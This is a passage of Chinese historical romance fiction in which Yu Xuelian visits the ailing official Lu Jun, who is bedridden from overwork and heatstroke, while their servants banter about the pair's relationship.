“娘子，这几日主子拖病当值，又中了暑气，歇息的晚，拖着拖着，就成了重病。今儿个总算休沐，主子也病倒了。”观言一面领路，一面跟虞雪怜说，“主子近些天办事不顺，有几位官老爷真是黑了心肝，长了猪脑子的，偏跟我家主子过不去。” 陆隽入礼部有段日子了，虞雪怜深知上辈子的陆隽如何不易，如今听了观言的话，滋味很不好受。 “娘子，你进去吧。”观言推开厢房，小声道：“奴才就不打扰你们了。” 虞雪怜笑道：“有劳你了。” 观言的这句话越听越奇怪，金盏把他拽到一边，问：“陆大人和娘子清清白白，你说什么打扰？” “我，奴才的意思是，不打扰他们谈话。”观言辩解道，“绝无你说的那个意思。” 金盏瞪眼说道：“说话要谨慎，八字没一撇呢！” 观言点点头，嘀咕道：“我看八字已经有一撇了。” 房内，陆隽的床榻边果然放了熏香陶炉，燃着苏合香。 陆隽厢房摆的物件按着虞雪怜写的明细来添置的，她略微看了看，便走到床榻那处。 “虞姑娘。” 概因病得不轻，陆隽的嘴唇是极浅的红色，脸色凄凉憔悴，黑发散在软枕上。 他欲要起身，胳膊被虞雪怜按住，她道：“你病了，为何不告假？” 陆隽语调稍弱：“事情未处理得当。” 不知怎么，其实她的力气并不比他的大，可让她一按，他却不得动弹了。